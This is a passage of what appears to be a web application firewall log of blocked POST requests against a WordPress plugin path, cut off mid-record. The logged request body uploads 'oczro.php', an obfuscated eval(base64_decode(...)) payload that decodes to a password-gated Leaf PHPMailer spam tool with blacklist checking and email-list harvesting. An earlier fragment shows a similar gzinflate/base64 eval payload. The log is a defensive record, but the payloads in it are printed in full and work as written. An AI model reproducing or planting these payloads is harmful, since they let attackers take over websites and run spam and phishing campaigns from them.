bGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc3R0MSkpKSk7Cg==\"));\r\n--2c935cda0283a289e7aba85f22b9b5de\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--2c935cda0283a289e7aba85f22b9b5de\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--2c935cda0283a289e7aba85f22b9b5de\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--2c935cda0283a289e7aba85f22b9b5de--\r\n"]
["2026-05-26 21:47:34","170.205.30.68","POST","\/wp-content\/plugins\/qrjoo\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/qrjoo\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=2f65df81ac13da324e91635c0275d142\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:222320\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--2f65df81ac13da324e91635c0275d142\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--2f65df81ac13da324e91635c0275d142\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--2f65df81ac13da324e91635c0275d142\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"oczro.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\n$password = \"xleeeeet\"; \/\/ MaILER Password \n\n\neval (base64_decode(\"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgcHJpbnQgIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiI7CiAgICAgICAgZXhpdDsgICAgICAgIAogICAgfQp9CgpzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CgoKZnVuY3Rpb24gbGVhZkNsZWFyKCR0ZXh0LCRlbWFpbCl7CgkkZSA9IGV4cGxvZGUoJ0AnLCAkZW1haWwpOwoJJGVtYWlsdXNlcj0kZVswXTsKCSRlbWFpbGRvbWFpbj0kZVsxXTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstdGltZS1dIiwgZGF0ZSgibS9kL1kgaDppOnMgYSIsIHRpbWUoKSksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWwtXSIsICRlbWFpbCwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1lbWFpbHVzZXItXSIsICRlbWFpbHVzZXIsICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWxkb21haW4tXSIsICRlbWFpbGRvbWFpbiwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21sZXR0ZXJzLV0iLCByYW5kU3RyaW5nKCdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eicpLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbXN0cmluZy1dIiwgcmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbnVtYmVyLV0iLCByYW5kU3RyaW5nKCcwMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbWQ1LV0iLCBtZDUocmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JykpLCAkdGV4dCk7CiAgICByZXR1cm4gJHRleHQ7ICAKfQpmdW5jdGlvbiBsZWFmVHJpbSgkc3RyaW5nKXsKCSRzdHJpbmc9dXJsZGVjb2RlKCRzdHJpbmcpOwogICAgcmV0dXJuIHN0cmlwc2xhc2hlcyh0cmltKCRzdHJpbmcpKTsKfQpmdW5jdGlvbiByYW5kU3RyaW5nKCRjb25zb25hbnRzKSB7CiAgICAkbGVuZ3RoPXJhbmQoMTIsMjUpOwogICAgJHBhc3N3b3JkID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRwYXNzd29yZCAuPSAkY29uc29uYW50c1socmFuZCgpICUgc3RybGVuKCRjb25zb25hbnRzKSldOwogICAgfQogICAgcmV0dXJuICRwYXNzd29yZDsKfQpmdW5jdGlvbiBsZWFmTWFpbENoZWNrKCRlbWFpbCl7CiAgICBpZiAoZmlsdGVyX3ZhcigkZW1haWwsIEZJTFRFUl9WQUxJREFURV9FTUFJTCkpIHJldHVybiB0cnVlOwogICAgZWxzZSByZXR1cm4gZmFsc2U7Cn0KIyBCdWxpdC1pbiBCbGFja0xpc3QgQ2hlY2tlciAKaWYoaXNzZXQoJF9HRVRbJ2NoZWNrX2lwJ10pKXsKICAgIGlmIChpc3NldCgkX0dFVFsnaG9zdCddKSl7CiAgICAgICAgJF9HRVRbJ2hvc3QnXT1leHBsb2RlKCIsIiwgJF9HRVRbJ2hvc3QnXSk7CiAgICAgICAgZm9yZWFjaCAoJF9HRVRbJ2hvc3QnXSBhcyAkaG9zdCkgewogICAgICAgICAgICBpZiAoY2hlY2tkbnNycigkX0dFVFsnY2hlY2tfaXAnXSAuICIuIiAuICAkaG9zdCAuICIuIiwgIkEiKSkgJGNoZWNrPSAiPGZvbnQgY29sb3I9J3JlZCc+IExpc3RlZDwvZm9udD4iOwogICAgICAgICAgICBlbHNlICRjaGVjaz0gIjxmb250IGNvbG9yPSdncmVlbic+IENsZWFuPC9mb250PiI7CiAgICAgICAgICAgIHByaW50ICdkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiJy4gJGhvc3QuJyIpLmlubmVySFRNTCA9ICInLiRjaGVjay4nIjsnOwogICAgICAgIH0KCiAgICAgICAgZXhpdDsKICAgIH0KICAgICRkbnNibF9sb29rdXAgPSBbCiAgICAgICAgImFsbC5zNWgubmV0IiwKICAgICAgICAiYi5iYXJyYWN1ZGFjZW50cmFsLm9yZyIsCiAgICAgICAgImJsLnNwYW1jb3AubmV0IiwKICAgICAgICAiYmxhY2tsaXN0Lndvb2R5LmNoIiwKICAgICAgICAiYm9nb25zLmN5bXJ1LmNvbSIsCiAgICAgICAgImNibC5hYnVzZWF0Lm9yZyIsCiAgICAgICAgImNkbC5hbnRpLXNwYW0ub3JnLmNuIiwKICAgICAgICAiY29tYmluZWQuYWJ1c2UuY2giLAogICAgICAgICJkYi53cGJsLmluZm8iLAogICAgICAgICJkbnNibC0xLnVjZXByb3RlY3QubmV0IiwKICAgICAgICAiZG5zYmwtMi51Y2Vwcm90ZWN0Lm5ldCIsCiAgICAgICAgImRuc2JsLTMudWNlcHJvdGVjdC5uZXQiLAogICAgICAgICJkbnNibC5hbnRpY2FwdGNoYS5uZXQiLAogICAgICAgICJkbnNibC5kcm9uZWJsLm9yZyIsCiAgICAgICAgImRuc2JsLmlucHMuZGUiLAogICAgICAgICJkbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJkcm9uZS5hYnVzZS5jaCIsCiAgICAgICAgImR1aW52LmF1cGFkcy5vcmciLAogICAgICAgICJkdWwuZG5zYmwuc29yYnMubmV0IiwKICAgICAgICAiZHluYS5zcGFtcmF0cy5jb20iLAogICAgICAgICJkeW5pcC5yb3RoZW4uY29tIiwKICAgICAgICAiaHR0cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJpcHMuYmFja3NjYXR0ZXJlci5vcmciLAogICAgICAgICJpeC5kbnNibC5tYW5pdHUubmV0IiwKICAgICAgICAia29yZWEuc2VydmljZXMubmV0IiwKICAgICAgICAibWlzYy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJub3B0ci5zcGFtcmF0cy5jb20iLAogICAgICAgICJvcnZlZGIuYXVwYWRzLm9yZyIsCiAgICAgICAgInBibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJwcm94eS5ibC5nd2VlcC5jYSIsCiAgICAgICAgInBzYmwuc3VycmllbC5jb20iLAogICAgICAgICJyZWxheXMuYmwuZ3dlZXAuY2EiLAogICAgICAgICJyZWxheXMubmV0aGVyLm5ldCIsCiAgICAgICAgInNibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJzaG9ydC5yYmwuanAiLAogICAgICAgICJzaW5ndWxhci50dGsucHRlLmh1IiwKICAgICAgICAic210cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzb2Nrcy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzcGFtLmFidXNlLmNoIiwKICAgICAgICAic3BhbS5kbnNibC5hbm9ubWFpbHMuZGUiLAogICAgICAgICJzcGFtLmRuc2JsLnNvcmJzLm5ldCIsCiAgICAgICAgInNwYW0uc3BhbXJhdHMuY29tIiwKICAgICAgICAic3BhbWJvdC5ibHMuZGlnaWJhc2UuY2EiLAogICAgICAgICJzcGFtcmJsLmltcC5jaCIsCiAgICAgICAgInNwYW1zb3VyY2VzLmZhYmVsLmRrIiwKICAgICAgICAidWJsLmxhc2hiYWNrLmNvbSIsCiAgICAgICAgInVibC51bnN1YnNjb3JlLmNvbSIsCiAgICAgICAgInZpcnVzLnJibC5qcCIsCiAgICAgICAgIndlYi5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJ3b3JtcmJsLmltcC5jaCIsCiAgICAgICAgInhibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJ6Lm1haWxzcGlrZS5uZXQiLAogICAgICAgICJ6ZW4uc3BhbWhhdXMub3JnIiwKICAgICAgICAiem9tYmllLmRuc2JsLnNvcmJzLm5ldCIsCiAgICBdOwogICAgJHJldmVyc2VfaXAgPSBpbXBsb2RlKCIuIiwgYXJyYXlfcmV2ZXJzZShleHBsb2RlKCIuIiwgJF9HRVRbJ2NoZWNrX2lwJ10pKSk7CiAgICAkZG5zVCA9IGNvdW50KCRkbnNibF9sb29rdXApOwogICAgbGVhZmhlYWRlcigpOwogICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNiI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkJsYWNrbGlzdCBDaGVja2VyPC9zbWFsbD48L2gzPic7CiAgICBQcmludCAiQ2hlY2tpbmcgPGI+Ii4kX0dFVFsnY2hlY2tfaXAnXS4iPC9iPiBpbiA8Yj4kZG5zVDwvYj4gIGFudGktc3BhbSBkYXRhYmFzZXM6PGJyPiI7CiAgICAkZG5zTj0iIjsKICAgIHByaW50ICc8dGFibGUgPic7CiAgICBmb3IgKCRpPTA7ICRpIDwgJGRuc1Q7ICRpPSRpKzEwKSB7IAogICAgICAgICRob3N0PSIiOwogICAgICAgICRob3N0cz0iIjsKICAgICAgICBmb3IoJGo9JGk7ICRqPCRpKzEwOyRqKyspewogICAgICAgICAgICAkaG9zdD0kZG5zYmxfbG9va3VwWyRqXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRob3N0KSl7CiAgICAgICAgICAgICAgICBwcmludCAiPHRyPiA8dGQ+JGhvc3Q8L3RkPiA8dGQgaWQ9JyRob3N0Jz5DaGVja2luZyAuLjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgJGhvc3RzIC49IiRob3N0LCI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGRuc04uPSI8c2NyaXB0IHNyYz0nP2NoZWNrX2lwPSRyZXZlcnNlX2lwJmhvc3Q9Ii4kaG9zdHMuIicgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz48L3NjcmlwdD4iOwogICAgfQoKICAgIHByaW50ICc8L3RhYmxlPjwvZGl2Pic7CiAgICBwcmludCAkZG5zTjsKICAgIGV4aXQ7Cn0KaWYoaXNzZXQoJF9HRVRbJ2VtYWlsZmlsdGVyJ10pKXsKCiAgICBpZighZW1wdHkoJF9GSUxFU1snZmlsZVRvVXBsb2FkJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkX1BPU1RbJ2VtYWlsTGlzdCddPSBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsidG1wX25hbWUiXSk7IAogICAgfQogICAgJF9QT1NUWydlbWFpbExpc3QnXT1zdHJ0b2xvd2VyKCRfUE9TVFsnZW1haWxMaXN0J10pOwogICBpZigkX0dFVFsnZW1haWxmaWx0ZXInXT09ImlmcmFtIil7CiAgICAgICAgaWYgKCRfUE9TVFsncmVzdWx0dHlwZSddID09ICJkb3dubG9hZCIpewogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXIiKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZW1haWxzIi50aW1lKCkuIi50eHQiKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CiAgICAgICAgfQogICAgaWYoJF9QT1NUWydzdWJtaXQnXT09ImV4dHJhY3QiKXsKICAgICAgICAkcGF0dGVybiA9ICcvW0EtWmEtejAtOS5fJSstXStAW0EtWmEtejAtOS4tXStcLltBLVphLXpdezIsNH0vJzsKICAgICAgICBwcmVnX21hdGNoX2FsbCgkcGF0dGVybiwgJF9QT1NUWydlbWFpbExpc3QnXSwgJG1hdGNoZXMpOwogICAgICAgIGZvcmVhY2ggKCRtYXRjaGVzWzBdIGFzICRlbWFpbCkgewogICAgICAgICAgICBwcmludCAkZW1haWwuIlxuIjsKICAgICAgICB9CiAgICB9CiAgICBlbHNlaWYgKCRfUE9TVFsnc3VibWl0J109PSJmaWx0ZXIiKSB7CiAgICAgICAgJGVtYWlscz1leHBsb2RlKCJcbiIsICRfUE9TVFsnZW1haWxMaXN0J10pOwogICAgICAgICRrZXl3b3Jkcz1leHBsb2RlKCJcbiIsIHN0cnRvbG93ZXIoJF9QT1NUWydrZXl3b3JkcyddKSk7CiAgICAgICAgZm9yZWFjaCAoJGVtYWlscyBhcyAkZW1haWwpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGtleXdvcmRzIGFzICRrZXl3b3JkICkgewogICAgICAgICAgICAgICAgaWYoc3Ryc3RyKCRlbWFpbCwgJGtleXdvcmQpICl7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgJGVtYWlsLiJcbiI7CiAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICB9CiAgICBleGl0OwogICB9CiAgIGxlYWZoZWFkZXIoKTsKICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNCI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkVtYWlsIEZpbHRlcjwvc21hbGw+PC9oMz4nOwogICBwcmludCAnCiAgICA8Zm9ybSBhY3Rpb249Ij9lbWFpbGZpbHRlcj1pZnJhbSIgbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Im15LWlmcmFtZSIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgb25zdWJtaXQ9XCdcJz4KICAgICAgICA8bGFiZWwgZm9yPSJlbWFpbExpc3QiPlRleHQgPC9sYWJlbD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZVRvVXBsb2FkIiBpZD0iZmlsZVRvVXBsb2FkIj4gCiAgICAgICAgb3IKCiAgICAgICAgPHRleHRhcmVhIG5hbWU9ImVtYWlsTGlzdCIgaWQ9ImVtYWlsTGlzdCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNyIgaWQ9InRleHRBcmVhIj48L3RleHRhcmVhPgogICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPgogICAgICAgIDxkaXYgY2xhc3M9InJhZGlvIj4KICAgICAgICAgIDxsYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJyZXN1bHR0eXBlIiBpZD0icmVzdWx0dHlwZSIgdmFsdWU9ImhlcmUiIGNoZWNrZWQ9IiI+CiAgICAgICAgICAgIFNob3cgUmVzdWx0IGluIHRoaXMgcGFnZQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJyYWRpbyI+CiAgICAgICAgICA8bGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmVzdWx0dHlwZSIgaWQ9InJlc3VsdHR5cGUiIHZhbHVlPSJkb3dubG9hZCI+CiAgICAgICAgICAgIERvd25sb2FkIFJlc3VsdCAoZm9yIGJpZyBudW1iZXJzKQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxsZWdlbmQ+PGg0PkV4dHJhY3QgRW1haWw8L2g0PjwvbGVnZW5kPgogICAgICAgICAgICBEZXRlY3RpbmcgZXZlcnkgZW1haWwgKDEwMCUpIGFuZCBvcmRlciB0aGVtIGxpbmUgYnkgbGluZSA8YnI+PGJyPgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJleHRyYWN0IiBjbGFzcz0iYnRuIGJ0bi1kZWZhdWx0IGJ0bi1zbSI+U3RhcnQ8L2J1dHRvbj4KICAgICAgICAgICAgPGxlZ2VuZD48aDQ+RmlsdGVyIEVtYWlsczwvaDQ+PC9sZWdlbmQ+CiAgICAgICAgPGxhYmVsID5LZXl3b3JkcyA8c21hbGw+IGV4OiBnbWFpbC5jb20gb3IgLmNvLnVrPC9zbWFsbD4gPC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ia2V5d29yZHMiIGlkPSJrZXl3b3JkcyIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNCIgaWQ9InRleHRBcmVhIj5nbWFpbC5jb20KaG90bWFpbC5jb20KeWFob28uY29tCi5jby51azwvdGV4dGFyZWE+PGJyPgoKICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9ImZpbHRlciIgY2xhc3M9ImJ0biBidG4tZGVmYXVsdCBidG4tc20iPlN0YXJ0PC9idXR0b24+CiAgICA8L2Zvcm0+CiAgICA8bGFiZWwgPlJlc3VsdCA8L2xhYmVsPgogICAgPGlmcmFtZSBzdHlsZT0iYm9yZGVyOm5vbmU7d2lkdGg6MTAwJTsiIG5hbWU9Im15LWlmcmFtZSIgIHNyYz0iP2VtYWlsZmlsdGVyPWlmcmFtIiA+PC9pZnJhbWU+CiAgICc7CiAgIGV4aXQ7Cgp9CiRodG1sPSJjaGVja2VkIjsKJHV0Zjg9InNlbGVjdGVkIjsKJGJpdDg9InNlbGVjdGVkIjsKCmlmKCRfUE9TVFsnYWN0aW9uJ109PSJzZW5kIiBvciAkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKCiAgICAkc2VuZGVyRW1haWw9bGVhZlRyaW0oJF9QT1NUWydzZW5kZXJFbWFpbCddKTsKICAgICRzZW5kZXJOYW1lPWxlYWZUcmltKCRfUE9TVFsnc2VuZGVyTmFtZSddKTsKICAgICRyZXBseVRvPWxlYWZUcmltKCRfUE9TVFsncmVwbHlUbyddKTsKICAgICRzdWJqZWN0PWxlYWZUcmltKCRfUE9TVFsnc3ViamVjdCddKTsKICAgICRlbWFpbExpc3Q9bGVhZlRyaW0oJF9QT1NUWydlbWFpbExpc3QnXSk7CiAgICAkbWVzc2FnZVR5cGU9bGVhZlRyaW0oJF9QT1NUWydtZXNzYWdlVHlwZSddKTsKICAgICRtZXNzYWdlTGV0dGVyPWxlYWZUcmltKCRfUE9TVFsnbWVzc2FnZUxldHRlciddKTsKICAgICRlbmNvZGluZyA9ICRfUE9TVFsnZW5jb2RlJ107CiAgICAkY2hhcnNldCA9ICRfUE9TVFsnY2hhcnNldCddOwogICAgJGh0bWw9IiI7CiAgICAkdXRmOD0iIjsKICAgICRiaXQ4PSIiOwoKICAgIGlmKCRtZXNzYWdlVHlwZT09MikgJHBsYWluPSJjaGVja2VkIjsKICAgIGVsc2UgJGh0bWw9ImNoZWNrZWQiOwoKICAgIGlmKCRjaGFyc2V0PT0iSVNPLTg4NTktMSIpICRpc289InNlbGVjdGVkIjsKICAgIGVsc2UgJHV0Zjg9InNlbGVjdGVkIjsKCiAgICBpZigkZW5jb2Rpbmc9PSI3Yml0IikgJGJpdDc9InNlbGVjdGVkIjsKICAgIGVsc2VpZigkZW5jb2Rpbmc9PSJiaW5hcnkiKSAkYmluYXJ5PSJzZWxlY3RlZCI7CiAgICBlbHNlaWYoJGVuY29kaW5nPT0iYmFzZTY0IikgJGJhc2U2ND0ic2VsZWN0ZWQiOwogICAgZWxzZWlmKCRlbmNvZGluZz09InF1b3RlZC1wcmludGFibGUiKSAkcXVvdGVkcHJpbnRhYmxlPSJzZWxlY3RlZCI7CiAgICBlbHNlICRiaXQ4PSJzZWxlY3RlZCI7CgoKCn0KaWYoJF9QT1NUWydhY3Rpb24nXT09InZpZXciKXsKCSR2aWV3TWVzc2FnZT1sZWFmVHJpbSgkX1BPU1RbJ21lc3NhZ2VMZXR0ZXInXSk7Cgkkdmlld01lc3NhZ2U9bGVhZkNsZWFyKCR2aWV3TWVzc2FnZSwidXNlckBkb21haW4uY29tIik7CglpZiAoJF9QT1NUWydtZXNzYWdlVHlwZSddPT0yKXsKCQlwcmludCAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHZpZXdNZXNzYWdlKS4iPC9wcmU+IjsKCX0KCWVsc2UgewoJCXByaW50ICR2aWV3TWVzc2FnZTsKCX0KCWV4aXQ7Cn0KCgoKaWYoIWlzc2V0KCRfUE9TVFsnc2VuZGVyRW1haWwnXSkpewogICAgJHNlbmRlckVtYWlsPSJzdXBwb3J0QCIuc3RyX3JlcGxhY2UoInd3dy4iLCAiIiwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsKICAgIGlmICghbGVhZk1haWxDaGVjaygkc2VuZGVyRW1haWwpKSAkc2VuZGVyRW1haWw9IiI7Cn0KCmNsYXNzIFBIUE1haWxlcgp7CiAgICAvKioKICAgICAqIFRoZSBQSFBNYWlsZXIgVmVyc2lvbiBudW1iZXIuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFZlcnNpb24gPSAnNS4yLjI4JzsKCiAgICAvKioKICAgICAqIEVtYWlsIHByaW9yaXR5LgogICAgICogT3B0aW9uczogbnVsbCAoZGVmYXVsdCksIDEgPSBIaWdoLCAzID0gTm9ybWFsLCA1ID0gbG93LgogICAgICogV2hlbiBudWxsLCB0aGUgaGVhZGVyIGlzIG5vdCBzZXQgYXQgYWxsLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkUHJpb3JpdHkgPSBudWxsOwoKICAgIC8qKgogICAgICogVGhlIGNoYXJhY3RlciBzZXQgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENoYXJTZXQgPSAnaXNvLTg4NTktMSc7CgogICAgLyoqCiAgICAgKiBUaGUgTUlNRSBDb250ZW50LXR5cGUgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENvbnRlbnRUeXBlID0gJ3RleHQvcGxhaW4nOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgZW5jb2RpbmcuCiAgICAgKiBPcHRpb25zOiAiOGJpdCIsICI3Yml0IiwgImJpbmFyeSIsICJiYXNlNjQiLCBhbmQgInF1b3RlZC1wcmludGFibGUiLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRFbmNvZGluZyA9ICc4Yml0JzsKCiAgICAvKioKICAgICAqIEhvbGRzIHRoZSBtb3N0IHJlY2VudCBtYWlsZXIgZXJyb3IgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRXJyb3JJbmZvID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBlbWFpbCBhZGRyZXNzIGZvciB0aGUgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRnJvbSA9ICdyb290QGxvY2FsaG9zdCc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBuYW1lIG9mIHRoZSBtZXNzYWdlLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRGcm9tTmFtZSA9ICdSb290IFVzZXInOwoKICAgIC8qKgogICAgICogVGhlIFNlbmRlciBlbWFpbCAoUmV0dXJuLVBhdGgpIG9mIHRoZSBtZXNzYWdlLgogICAgICogSWYgbm90IGVtcHR5LCB3aWxsIGJlIHNlbnQgdmlhIC1mIHRvIHNlbmRtYWlsIG9yIGFzICdNQUlMIEZST00nIGluIHNtdHAgbW9kZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU2VuZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgUmV0dXJuLVBhdGggb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBJZiBlbXB0eSwgaXQgd2lsbCBiZSBzZXQgdG8gZWl0aGVyIEZyb20gb3IgU2VuZGVyLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIEVtYWlsIHNlbmRlcnMgc2hvdWxkIG5ldmVyIHNldCBhIHJldHVybi1wYXRoIGhlYWRlcjsKICAgICAqIGl0J3MgdGhlIHJlY2VpdmVyJ3Mgam9iIChSRkM1MzIxIHNlY3Rpb24gNC40KSwgc28gdGhpcyBubyBsb25nZXIgZG9lcyBhbnl0aGluZy4KICAgICAqIEBsaW5rIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIxI3NlY3Rpb24tNC40IFJGQzUzMjEgcmVmZXJlbmNlCiAgICAgKi8KICAgIHB1YmxpYyAkUmV0dXJuUGF0aCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFN1YmplY3Qgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFN1YmplY3QgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIEhUTUwgb3IgcGxhaW4gdGV4dCBtZXNzYWdlIGJvZHkuCiAgICAgKiBJZiBIVE1MIHRoZW4gY2FsbCBpc0hUTUwodHJ1ZSkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIFR